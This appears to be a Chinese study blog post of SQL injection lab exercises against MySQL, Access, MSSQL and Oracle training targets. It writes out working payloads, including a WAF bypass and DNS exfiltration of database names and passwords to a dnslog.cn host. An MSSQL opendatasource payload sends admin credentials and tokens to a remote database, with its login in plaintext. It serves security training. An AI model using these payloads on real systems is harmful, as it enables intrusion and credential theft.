zkaq-数据库注入
MYSQL 注入 - Dns注入
前置知识
1.dnslog
1 | 用来记录dns被解析的信息 |
2.dns注入思路
进行注入攻击时,页面无正常回显,使用第三方dnslog平台,通过记录dns解析的信息外带注入数据,将盲注转化成显错注入。
靶场实践
判断是否存在注入攻击时遇到waf
使用参数污染进行绕过
构造
1 | id=2/*&id=1 and sleep(3) -- a*/ //页面延时响应,判断存在注入点 |
爆库名
构造
1 | id=2/*&id=1 and (select load_file(concat("\\\\",database(),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ |
爆表名
构造
1 | id=2/*&id=1 and (select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ //得到表名admin |
爆字段
构造
1 | id=2/*&id=1 and (select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ //查到字段id |
查看数据
构造
1 | id=2/*&id=1 and (select load_file(concat("\\\\",(select password from admin limit 0,1),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ |
Access数据库cookie注入
一、什么是cookie注入?
Cookie 注入是一种安全漏洞,攻击者通过在用户的浏览器中操纵或注入恶意的 Cookie 数据,来实施攻击。
二、Access数据库与mySQL数据区的小区别
1.limit是mySQL数据库特有的语法。
2.Access数据库中无information_schema库
三、进行cookie注入时的几个函数说明
document.cookie:JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
escape:escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。
exists:exists运算符用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False。
靶场练习
点进一个网页,发现有传参
and 被过滤
尝试进行cookie注入
1 | id=171 页面回显正常 |
1 | id=172 页面内容变化后端接收cookie传的参数能对页面产生影响 |
1 | id =171 and 1=1 页面正常 |
1 | id=171 order by 10页面正常 |
构造
1 | id=171 and exists(select * from admin) 正常,存在admin表 |
构造
1 | id=171 and exists(select id,password,username from)正常,存在id、password、username字段。 |
1 | id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin |
判断回显点
构造
1 | id=171 union select 1,admin,3,4,5,6,password,8,9,10 from admin |
1 | 用户名:admin |
Access数据库偏移注入
一、什么是偏移注入?
1 | 偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下 |
二、使用偏移注入的场景。
1 | 在SQL注入的时候会遇到一些无法查询列名的问题 |
靶场练习
设置cookie为
1 | id=105 //页面回显正常发现是接受cookie 传参的 |
猜测存在admin表
构造
1 | id=105 and exist(select * from admin) |
构造
1 | id=105 order by 26页面正常 |
只有3、5、7三个字段用偏移注入只能看前七个字段的数据
分别是
1 | 1.1 |
构造
1 | id=105 and 1=2 union select 1897987,2897987,3897987,4897987,5897987,6897987,7897987,8897987,9897987,10897987,11897987,12897987,13897987,14897987,15897987,16897987,17897987,18897987,19897987,20897987,21897987,22897987,23897987,24897987,25897987,26897987 from admin |
查看源码搜索897987
发现25是隐藏回显点
可以查到15 16字段
1 | 15.zkaq{f0e12dafb6} |
MSSQL数据库的反弹注入
一、什么是反弹注入
反弹注入利用opendatasource函数将查询结果外带到攻击者的数据库中
二、进行反弹注入条件
需要目标存在堆叠注入、还需要有一个部署在公网的数据库
三、MSSQL数据库的特点
- MSSQL数据库查库名的函数是db_name()可以用此函数来判断数据库类型
- MSSQL数据库联合查询对应的字段数及数据类型要相同(null可以与任何类型匹配)
- sysobjects:包含MSSQL数据库的所有表名
- xtype:指对象类型
- id:对象标识号(每个id对应唯一表)
- waitfor delay ‘0:0:10’ :MSSQL数据库中的延时函数
靶场练习
后面拼接
1 | order by 3页面正常 |
爆库名无法用函数database(),可以用db_name()
所以用的数据库是MSSQL数据库
爆表名
构造
1 | union select id,name,'a' from sysobjects where xtype='U' |
爆字段名
构造
1 | union select 1,name,'a' from syscolumns where id='1977058079' |
构造
1 | id=1';waitfor delay '0:0:10' ; -- a |
有延时存在堆叠注入
连接数据库
1 | 1';insert into opendatasource('sqloledb','server=den1.mssql8.gear.host;uid=zkaqzkaq1n;pwd=Rz7VjmvQ!6e~;database=zkaqzkaq1n;').zkaqzkaq1n.dbo.Yliken1 select id,passwd,username,token from admin; -- 1 |
zkaq{e9c9e67c5}
Oracle数据库的报错注入
一、Oracle数据库的特点
- Oracle 很死板 非常讲究语法格式
- Oracle数据库中库的概念被弱化 用户被强化。一个用户代表一个库
- Oracle数据库中存在一个虚表——Dual 表。dual是Oracle的虚拟表,用来构成select的语法规则
二、相关函数
rownum:rownum是Oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,返回的第二行分配的是2,这个为字段可以用于限制返回查询的总行数,且rownum不可以以任何表的名称作为前缀。
all_tables : 当前用户有权限的表的信息
user_tables: 当前用户名下的表的信息
ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
USER_ALL_TABLES:某一用户所拥有的对象和表
ctxsys.drithsx.sn:用于处理文本,也会出现参数错误返回异常
all_tab_columns :某一用户拥有的或有访问权限字段
user_tab_columns: 查询出当前用户的字段
靶场练习
1、判断是否存在注入点
1 | 拼接and 1=1 页面正常 |
2、判断字段数
1 | 拼接order by 4页面正常 |
3、判断回显点
1 | 拼接and 1=2 union select null,null,null,null from dual |
发现只有第四个有回显,且为int型
3、利用报错来爆表
1 | and 1=ctxsys.drithsx.sn(1,(select table_name from (select table_name,rownum n from user_tables) where n=1)) |
4、爆字段
1 | and 1=ctxsys.drithsx.sn(1,(select column_name from (select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=1)) |
5、查
1 | and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN) where n=1)) |